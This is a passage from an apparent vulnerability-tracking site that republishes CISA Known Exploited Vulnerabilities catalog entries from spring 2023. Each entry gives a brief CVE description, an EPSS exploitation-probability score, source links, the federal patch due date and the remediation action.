CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Java SE and JRockit Unspecified Vulnerability
https://kevwire.com/record/CVE-2016-3427
Oracle Java SE and JRockit Unspecified Vulnerability (May 12, 2023).
Oracle Java SE and JRockit contains an unspecified vulnerability that allows remote attackers to affect confidentiality, integrity, and availability via vectors related to Java Management Extensions (JMX). This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service.
EPSS 92.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3427&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3427: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3427&date=2026-10-25
CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Tomcat Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2016-8735
Apache Tomcat Remote Code Execution Vulnerability (May 12, 2023).
Apache Tomcat contains an unspecified vulnerability that allows for remote code execution if JmxRemoteLifecycleListener is used and an attacker can reach Java Management Extension (JMX) ports. This CVE exists because this listener wasn't updated for consistency with the Oracle patched issues for CVE-2016-3427 which affected credential types.
EPSS 90.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-8735&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-8735: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-8735&date=2026-10-25
CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32K Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-29336
Microsoft Win32K Privilege Escalation Vulnerability (May 9, 2023).
Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation up to SYSTEM privileges.
EPSS 41.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29336&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-29336: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29336&date=2026-10-25
CISA added this entry on 2023-05-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 9, 2023; federal due date May 30, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TP-Link Archer AX-21 Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-1389
TP-Link Archer AX-21 Command Injection Vulnerability (May 1, 2023).
TP-Link Archer AX-21 contains a command injection vulnerability that allows for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-1389&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-1389: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-1389&date=2026-10-25
CISA added this entry on 2023-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 1, 2023; federal due date May 22, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Log4j2 Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2021-45046
Apache Log4j2 Deserialization of Untrusted Data Vulnerability (May 1, 2023).
Apache Log4j2 contains a deserialization of untrusted data vulnerability due to the incomplete fix of CVE-2021-44228, where the Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-45046&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-45046: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-45046&date=2026-10-25
CISA added this entry on 2023-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 1, 2023; federal due date May 22, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle WebLogic Server Unspecified Vulnerability
https://kevwire.com/record/CVE-2023-21839
Oracle WebLogic Server Unspecified Vulnerability (May 1, 2023).
Oracle WebLogic Server contains an unspecified vulnerability that allows an unauthenticated attacker with network access via T3, IIOP, to compromise Oracle WebLogic Server.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21839&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-21839: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21839&date=2026-10-25
CISA added this entry on 2023-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 1, 2023; federal due date May 22, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### MinIO Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2023-28432
MinIO Information Disclosure Vulnerability (Apr 21, 2023).
MinIO contains a vulnerability in a cluster deployment where MinIO returns all environment variables, which allows for information disclosure.
EPSS 84.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28432&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-28432: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28432&date=2026-10-25
CISA added this entry on 2023-04-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 21, 2023; federal due date May 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PaperCut MF/NG Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2023-27350
PaperCut MF/NG Improper Access Control Vulnerability (Apr 21, 2023).
PaperCut MF/NG contains an improper access control vulnerability within the SetupCompleted class that allows authentication bypass and code execution in the context of system.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-27350&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-27350: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-27350&date=2026-10-25
CISA added this entry on 2023-04-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 21, 2023; federal due date May 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chrome Skia Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-2136
Google Chrome Skia Integer Overflow Vulnerability (Apr 21, 2023).
Google Chromium Skia contains an integer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability affects Google Chrome and ChromeOS, Android, Flutter, and possibly other products.
EPSS 5.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-2136&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-2136: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-2136&date=2026-10-25
CISA added this entry on 2023-04-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 21, 2023; federal due date May 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-6742
Cisco IOS and IOS XE Software SNMP Remote Code Execution Vulnerability (Apr 19, 2023).
The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload.
EPSS 21.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6742&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6742: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6742&date=2026-10-25
CISA added this entry on 2023-04-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 19, 2023; federal due date May 10, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple macOS Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2019-8526
Apple macOS Use-After-Free Vulnerability (Apr 17, 2023).
Apple macOS contains a use-after-free vulnerability that could allow for privilege escalation.
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-8526&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-8526: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-8526&date=2026-10-25
CISA added this entry on 2023-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 17, 2023; federal due date May 8, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2023-2033
Google Chromium V8 Type Confusion Vulnerability (Apr 17, 2023).
Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 40.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-2033&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-2033: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-2033&date=2026-10-25
CISA added this entry on 2023-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 17, 2023; federal due date May 8, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Framework Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-20963
Android Framework Privilege Escalation Vulnerability (Apr 13, 2023).
Android Framework contains an unspecified vulnerability that allows for privilege escalation after updating an app to a higher Target SDK with no additional execution privileges needed.
EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20963&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-20963: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20963&date=2026-10-25
CISA added this entry on 2023-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2023; federal due date May 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Novi Survey Insecure Deserialization Vulnerability
https://kevwire.com/record/CVE-2023-29492
Novi Survey Insecure Deserialization Vulnerability (Apr 13, 2023).
Novi Survey contains an insecure deserialization vulnerability that allows remote attackers to execute code on the server in the context of the service account.
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29492&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-29492: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29492&date=2026-10-25
CISA added this entry on 2023-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2023; federal due date May 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-28252
Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability (Apr 11, 2023).
Microsoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation.
EPSS 48.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28252&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-28252: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28252&date=2026-10-25
CISA added this entry on 2023-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 11, 2023; federal due date May 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2023-28205
Apple Multiple Products WebKit Use-After-Free Vulnerability (Apr 10, 2023).
Apple iOS, iPadOS, macOS, and Safari WebKit contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 27.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28205&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-28205: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28205&date=2026-10-25
CISA added this entry on 2023-04-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 10, 2023; federal due date May 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and macOS IOSurfaceAccelerator Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2023-28206
Apple iOS, iPadOS, and macOS IOSurfaceAccelerator Out-of-Bounds Write Vulnerability (Apr 10, 2023).
Apple iOS, iPadOS, and macOS IOSurfaceAccelerator contain an out-of-bounds write vulnerability that allows an app to execute code with kernel privileges.
EPSS 23.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28206&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-28206: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28206&date=2026-10-25
CISA added this entry on 2023-04-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 10, 2023; federal due date May 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Veritas Backup Exec Agent File Access Vulnerability
https://kevwire.com/record/CVE-2021-27876
Veritas Backup Exec Agent File Access Vulnerability (Apr 7, 2023).
Veritas Backup Exec (BE) Agent contains a file access vulnerability that could allow an attacker to specially craft input parameters on a data management protocol command to access files on the BE Agent machine.
EPSS 13.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27876&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27876: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27876&date=2026-10-25
CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 7, 2023; federal due date Apr 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Veritas Backup Exec Agent Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2021-27877
Veritas Backup Exec Agent Improper Authentication Vulnerability (Apr 7, 2023).
Veritas Backup Exec (BE) Agent contains an improper authentication vulnerability that could allow an attacker unauthorized access to the BE Agent via SHA authentication scheme.
EPSS 64.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27877&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27877: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27877&date=2026-10-25
CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 7, 2023; federal due date Apr 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Veritas Backup Exec Agent Command Execution Vulnerability
https://kevwire.com/record/CVE-2021-27878
Veritas Backup Exec Agent Command Execution Vulnerability (Apr 7, 2023).
Veritas Backup Exec (BE) Agent contains a command execution vulnerability that could allow an attacker to use a data management protocol command to execute a command on the BE Agent machine.
EPSS 24.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27878&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27878: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27878&date=2026-10-25
CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 7, 2023; federal due date Apr 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Certificate Dialog Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1388
Microsoft Windows Certificate Dialog Privilege Escalation Vulnerability (Apr 7, 2023).
Microsoft Windows Certificate Dialog contains a privilege escalation vulnerability, allowing attackers to run processes in an elevated context.
EPSS 8.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1388&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1388: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1388&date=2026-10-25
CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 7, 2023; federal due date Apr 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arm Mali GPU Kernel Driver Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2023-26083
Arm Mali GPU Kernel Driver Information Disclosure Vulnerability (Apr 7, 2023).
Arm Mali GPU Kernel Driver contains an information disclosure vulnerability that allows a non-privileged user to make valid GPU processing operations that expose sensitive kernel metadata.
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-26083&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-26083: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-26083&date=2026-10-25
CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 7, 2023; federal due date Apr 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2022-27926
Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability (Apr 3, 2023).
Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability by allowing an endpoint URL to accept parameters without sanitizing.
EPSS 17.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-27926&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-27926: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-27926&date=2026-10-25
CISA added this entry on 2023-04-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 3, 2023; federal due date Apr 24, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2013-3163
Microsoft Internet Explorer Memory Corruption Vulnerability (Mar 30, 2023).
Microsoft Internet Explorer contains a memory corruption vulnerability that allows remote attackers to execute code or cause a denial of service via a crafted website.
EPSS 70.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3163&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-3163: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3163&date=2026-10-25
CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samba Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-7494
Samba Remote Code Execution Vulnerability (Mar 30, 2023).
Samba contains a remote code execution vulnerability, allowing a malicious client to upload a shared library to a writable share and then cause the server to load and execute it.
EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-7494&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-7494: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-7494&date=2026-10-25
CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortra Cobalt Strike User Interface Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-42948
Fortra Cobalt Strike User Interface Remote Code Execution Vulnerability (Mar 30, 2023).
Fortra Cobalt Strike User Interface contains an unspecified vulnerability rooted in Java Swing that may allow remote code execution.
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-42948&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-42948: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-42948&date=2026-10-25
CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
